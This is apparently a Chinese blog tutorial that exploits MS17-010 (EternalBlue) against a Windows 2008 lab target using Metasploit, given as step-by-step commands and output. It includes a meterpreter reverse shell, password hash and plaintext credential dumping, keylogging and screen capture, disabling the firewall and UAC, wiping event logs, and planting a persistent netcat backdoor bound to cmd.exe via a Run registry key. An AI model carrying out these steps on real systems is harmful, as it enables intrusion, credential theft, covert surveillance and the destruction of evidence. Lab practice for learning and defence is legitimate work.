永恒之蓝(MS17-010)漏洞利用

简介: 永恒之蓝(MS17-010)漏洞利用

永恒之蓝(eternalblue)

永恒之蓝(Eternal Blue)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日, 不法分子通过改造“永恒之蓝”制作了wannacry程序,使全世界大范围内遭受了该程序,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。但不过在该程序出来不久就被微软通过打补丁修复了。

SMB(Server Message Block)是一个协议服务器信息块,它是一种客户机/服务器、请求/响应协议,通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源,电脑上的网上邻居就是靠SMB实现的;SMB协议工作在应用层和会话层,可以用在TCP/IP协议之上,SMB使用TCP139端口和TCP445端口。

1、漏洞利用

第一步:在kali中使用nmap 扫描win-2K8 靶机

1)通过nmap 扫描,我们发现: 目标主机开放了445端口
2)445是共享端口—windows SMB 共享服务使用的端口
3)而且我们还清楚,永恒之蓝这个漏洞,针对的就是windows  SMB 服务,针对的就是445 端口
4)所以,既然目标服务器开放445端口,我们就可以尝试利用永恒之蓝这个漏洞对目标服务器进行扫描和探测
5)当然,我们还可以进一步去做漏洞扫描,用nessus 工具对目标服务器进行漏扫
6)通过nessus  我们也发现目标服务器上存在永恒之蓝这个漏洞

7)所以我们就可以去msf 这个工具中,查找和永恒之蓝这个漏洞相关的攻击或者辅助的脚本

  • 第二步: 脚本查找
msf6 > search ms17-010
    1  auxiliary/scanner/smb/smb_ms17_010                      //辅助扫描脚本(smb)      
    2  exploit/windows/smb/ms17_010_eternalblue            //攻击脚本(永恒之蓝)
  • 第三步:漏洞扫描
msf6 > use 1 
    msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.10.145
    msf6 auxiliary(scanner/smb/smb_ms17_010) > run
  msf6 auxiliary(scanner/smb/smb_ms17_010) > run
  [+] 192.168.10.145:445    - Host is likely VULNERABLE to MS17-010! 
                           //容易遭受ms17-010的攻击
  • 第四步: 漏洞利用,创建反弹连接
msf6 auxiliary(scanner/smb/smb_ms17_010) > back
msf6 > use 2
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 192.168.10.145
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
meterpreter >
  • 第五步:meterpreter环境中,操作远程资源
meterpreter > pwd         //查看远程目录位置
meterpreter > cd   c:/users         //切换到c盘下的users
meterpreter > ls         //列出当前远程目录下的文档资源
meterpreter > dir      //列出当前远程目录下的文档资源(和ls 命令作用相同)
meterpreter > edit  a.txt      //创建并编辑文件a.txt
meterpreter >  cat    a.txt    //查看a.txt 文件内容
meterpreter >  del   a.txt     //删除a.txt文件
meterpreter > mkdir   ntd2111  //创建新目录
meterpreter > rmdir  ntd2111    //删除目录
meterpreter >  lpwd   //查看在kali本机的目录
meterpreter >  lcd     /root/桌面     
//在本地主机kali中,将当前目录切换到 /root/桌面
meterpreter > mkdir    gaga
//在靶机win2008的当前目录users下创建目录abc
meterpreter > upload    /etc/passwd       c:/users/gaga
//将kali 中的文件/etc/passwd 上传到靶机win2008的指定的gaga目录
meterpreter > ls   abc
备注:可以回到windows-2008 c:/users/ 下手动创建jmwj.txt
meterpreter > download   jmwj.txt    
//从靶机win2008中下载文件jmwj.txt 到kali 主机的当前目录
meterpreter > download   jmwj.txt    /opt/
//从靶机win2008中下载文件jmwj.txt  到kali 主机的指定目录/opt
  • 第六步:获取密码
meterpreter > hashdump    
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b
复制第四部分到网站查询 [https://cmd5.com/](https://cmd5.com/)
  • 第七步:获取用户信息
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
  • 第八步:通过 kiwi 模块获取用户口令
meterpreter > load kiwi      //加载kiwi
meterpreter > help kiwi      //kiwi使用帮助
meterpreter > creds_all      //检测所有凭证,该命令可以列举系统中的明文密码
kiwi模块,后渗透阶段的一款利器,内网渗透的一块利器,
windows 密码抓取神器、拥有提权、抓取凭证密码、很多功能,我们今天主要使用进程迁移和密码抓取
  • 第九步:屏幕共享和屏幕截图
meterpreter > screenshot    //屏幕截图
meterpreter > screenshare    //屏幕共享,按快捷键Ctrl + C停止
  • 第十步:键盘记录
    1) 查看我们当前的用户识别码、进程识别码、查看当前用户权限
meterpreter >  getuid       //查看用户识别码
      meterpreter >  getpid      //查看进程识别码
      meterpreter > getprivs     //查看当前用户权限
      meterpreter > ps            //查看进程列表
meterpreter > ps 
============
进程号    应用程序的名字       用户                          
 PID     Name               User                          
 ---     ----               ----                                                                                                            
 1048   spoolsv.exe         NT AUTHORITY\**SYSTEM**           
 1504   taskhost.exe       VAGRANT-2008R2\Administrator
  • 第十一步:进程迁移
    将 SYSTEM 权限 迁移为 Administrator
meterpreter > ps     //查看进程
    meterpreter > migrate  1504     //进程迁移
    meterpreter > getuid    //确认迁移后的用户识别码
    备注:进程迁移,只能同级别迁移或者高权限用户往低权限迁移,低权限无法往高权限迁移
  • 第十二步:执行键盘操作记录,
    备注:键盘记录需要拥有administrator 权限后才可以成功
    备注:getuid 检测
    方法1:开启键盘记录
    第一:先查看进程
meterpreter >ps
第二:做进程迁移,迁移到administrator 用户权限
meterpreter >migrate  1504(实验过程中,已实际进程号为准)
第三:确认用户权限
meterpreter > getuid
第四:开启键盘记录
meterpreter > keyscan_start     //开启键盘记录

第五:在win-2008中拼命疯狂的敲键盘

第六:回到kali 验证:

meterpreter > keyscan_dump   //导出键盘记录
方法2:利用后渗透脚本开启键盘记录

第一:先查看进程

meterpreter >ps

第二:做进程迁移,迁移到administrator 用户权限

meterpreter >migrate  1504(实验过程中,已实际进程号为准)

第三:确认用户权限

meterpreter > getuid

第四:开启键盘记录后渗透脚本

meterpreter > run post/windows/capture/keylog_recorder

第五:在 win2k8 打开记事本,输入任意内容

第六:在 kali 检查是否成功记录

打开新的终端,执行命令检查文件
      [root]# cat   /root/.msf4/loot/20211226174349_default_192.168.10.145···········
  • 第十三步: 防火墙配置
meterpreter > shell
    C:\Windows\system32> chcp  65001   //解决中文乱码,切换为英文格式

备注windows新版本命令:

1)查看防火墙当前状态

C:\Windows\system32> netsh    advfirewall      show     currentprofile       state

2)关闭防火墙

C:\Windows\system32> netsh  advfirewall  set       allprofiles      state    off

3) 开启防火墙

C:\Windows\system32> netsh advfirewall set allprofiles state on

4)添加防火墙入站规则,放行3333端口

C:\Windows\system32> netsh  advfirewall  firewall   add     rule   name=test   dir=in   action=allow   protocol=tcp localport=3333
                            高级防火墙      防火墙     添加     规则   名字          入站     动作    允许     协议         本地端口
//添加入站规则,规则名称:test   , 协议:tcp    端口:3333
备注:1024之前的端口号,不要用,为什么,因为那些端口号,都已经有主了
  • 第十四步: 关闭UAC
UAC:User Account Control
  • 用户帐户控制-是windows操作系统中一种安全控制机制
  • 使用UAC,可以防止未经授权应用程序的自动安装,阻止恶意程序,防止系统损坏
    win2k8 检查 UAC 状态
    运行中输入 msconfig,
    默认用户账户是关闭的,我们可以先打开

ADD 添加一个注册表项 -v 创建键值 -t 键值类型 -d 键值的值 1开/0关

-f 不用提示就强行覆盖现有注册表项

在 meterpreter >进入shell 运行命令, 使win2008添加注册表项,关闭用户账户

c:\windows\system> reg ADD  HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System     /v   EnableLUA    /t     REG_DWORD   /d    0    /f
  • 第十五步:在meterpreter 下清除日志
meterpreter > clearev     //擦除windows 事件查看器
[*] Wiping 1146 records from Application...         //擦除1146应用日志
[*] Wiping 3288 records from System...              //擦除3288系统日志
[*] Wiping 2669 records from Security...           //擦除2669 安全日志

备注:虽然清除 很多日志,但是你擦除日志的这条日志被保留了

2、持久性后门-nc 瑞士军刀 著名后门程序
  • 第一步:上传后面程序nc.exe 到win-2008
meterpreter > upload /usr/share/windows-binaries/nc.exe   c:/windows/system32

1)查看上传结果及权限

meterpreter > cd   c:/windows/system32
      meterpreter > ls nc.exe
  • 第二步:在 meterpreter > 执行命令,远程配置win-2008注册表,实现nc.exe 能够开机自启
    第一:添加键值nc
meterpreter > **reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run   -v   nc   -d "C:\windows\system32\nc.exe     -Ldp   444     -e   cmd.exe"

备注:用注册表告诉win-2008这个系统,让nc.exe程序开机自启动

  • 第二:查询有没有nc这个键值,确认是否添加成功
meterpreter > reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run
      Values (3):
       VMware VM3DService Process
       VMware User Process
       nc     //新增的注册表
  • 第三:查询 NC键值的详细数值内容
meterpreter > reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc
      Key: HKLM\software\microsoft\windows\currentversion\Run
      Name: nc
      Data: C:\windows\system32\nc.exe -Ldp 444 -e cmd.exe

备注:在win-2008验证:有键值,有键值内容

![](https://secure2.wostatic.cn/static/9x17M9vUpdEinV6sP5ophK/1640543114(1).png)
  • 第三步:重启win-2008
    备注:重启win-2008 验证,是否能开机自动启动
    验证:验证靶机上的444端口是否开启
meterpreter >shell
    C:\Windows\system32> netstat -an
    C:\Windows\system32> netstat -an | findstr "444"

备注:验证2008系统中的444端口是否开启,如果开启证明,nc这个程序以及开机自动运行了,如果没有444这个端口,就代表能nc程序没能成功运行

  • 第四步:可以检查防火墙,防火墙要在入站规则中放行444端口,或者关闭防火墙
meterpreter > shell
    C:\Windows\system32>  netsh advfirewall firewall add rule name=tedu dir=in action=allow protocol=tcp localport=444
  • 第五步:后门接入
    在 kali 连接 win2k8
    在kali 中打开一个新的终端
[root] nc 192.168.10.145 444
    C:\Windows\system32>
  • 第六步:清楚痕迹
    验证:在事件查看器里面看到的是administrator 的登录信息,可以清空日志
C:\Windows\system32>  wevtutil el    //列出日志名称
C:\Windows\system32>  wevtutil  cl application   //清除应用程序日志
C:\Windows\system32>  wevtutil  cl security     //清除安全日志
C:\Windows\system32>  wevtutil  cl  system    //清除系统日志
  • 常见错误排错:
    如果无法连接到后门程序
    第一步:可以在kali 中检查端口状态
meterpreter >shell
      C:\Windows\system32> netstat -an
      C:\Windows\system32> netstat -an | findstr ":444"
    ```
    第二步:可以检查防火墙,防火墙要在入站规则中放行444端口,或者关闭防火墙
meterpreter > shell
  C:\Windows\system32>  netsh advfirewall firewall add rule name=tedu dir=in action=allow protocol=tcp localport=444
目录
相关文章
|
9月前
|
自然语言处理 API 语音技术
Qwen3-TTS全面升级:声情并茂,语通八方
Qwen3-TTS是阿里云推出的旗舰语音合成模型,支持多音色、多语种及多方言,提供49+种情感丰富的高品质声音,覆盖中文、英文、日语等10大语言及多种方言,语速韵律自然拟人。通过Qwen API可轻松调用,适用于多样化场景。
3362 2
|
12月前
|
存储 安全 前端开发
Web渗透-文件上传漏洞-上篇
文件上传漏洞常见于Web应用,因类型限制不严可致恶意文件执行。本文介绍前端检测、MIME类型、黑名单、.htaccess、空格、双写等多种绕过方式,并结合upload-labs靶场演示利用方法,提升安全防护认知。
3212 1
Web渗透-文件上传漏洞-上篇
|
安全 Ubuntu Linux
在DVWA靶机上从渗透到控制(weevely和中国蚁剑)
本文介绍如何使用Weevely工具对Ubuntu系统上的DVWA进行渗透测试,通过上传Webshell获取远程服务器控制权。实验环境为靶机IP 192.168.1.37(DVWA低安全等级)和攻击机Kali Linux IP 10.211.55.29。详细步骤包括Weevely安装、Webshell生成与上传、命令执行及提权尝试,并结合中国蚁剑进一步操作。文中强调合法授权和隐蔽性的重要性。
2590 0
在DVWA靶机上从渗透到控制(weevely和中国蚁剑)
|
监控 安全 测试技术
ms17-010(永恒之蓝)漏洞复现
ms17-010(永恒之蓝)利用的端口是445端口。 本文主要讲解ms17-010(永恒之蓝)漏洞复现,分为四个部分:了解渗透测试流程,使用nmap工具对win7进行扫描,尝试ms17-010漏洞利用,结果展示。第一部分“了解渗透测试流程”可以略过,可以直接从第二部分“使用nmap工具对win7进行扫描”开始看起。
3840 5
ms17-010(永恒之蓝)漏洞复现
|
安全
致远OA A8 htmlofficeservlet 任意文件上传漏洞 漏洞复现
致远OA A8 htmlofficeservlet 任意文件上传漏洞 漏洞复现
3482 0
致远OA A8 htmlofficeservlet 任意文件上传漏洞 漏洞复现
|
安全 网络安全 Windows
永恒之蓝(ms17_010)漏洞攻击原理与防护加固
通过nmap检测到目标服务器开放445端口,疑似存在MS17_010(永恒之蓝)漏洞。利用MSF的eternalblue模块成功入侵,获得system权限,证实漏洞存在。随后,通过禁用并停止Server服务进行加固。再次尝试攻击,显示加固有效,攻击失败。
2629 0
|
监控 API 数据安全/隐私保护
小红书详情API接口的获取与应用
在互联网信息爆炸的时代,小红书凭借丰富的用户生成内容(UGC)和精准的推荐系统迅速崛起,成为重要的社区电商平台。为了帮助开发者高效利用平台数据,小红书开放平台提供了多种API接口,涵盖商品详情和笔记详情等。本文详细介绍了如何注册、申请权限、构建请求、处理响应及应用这些API接口,旨在为开发者提供全面的指南,助力数据驱动的决策与创新。
7847 1
|
算法 索引
让星星⭐月亮告诉你,HashMap的resize()即扩容方法源码解读(已重新完善,如有不足之处,欢迎指正~)
`HashMap`的`resize()`方法主要用于数组扩容,包括初始化或加倍数组容量。该方法首先计算新的数组容量和扩容阈值,然后创建新数组。接着,旧数组中的数据根据`(e.hash & oldCap)`是否等于0被重新分配到新数组中,分为低位区和高位区两个链表,确保数据迁移时的正确性和高效性。
583 3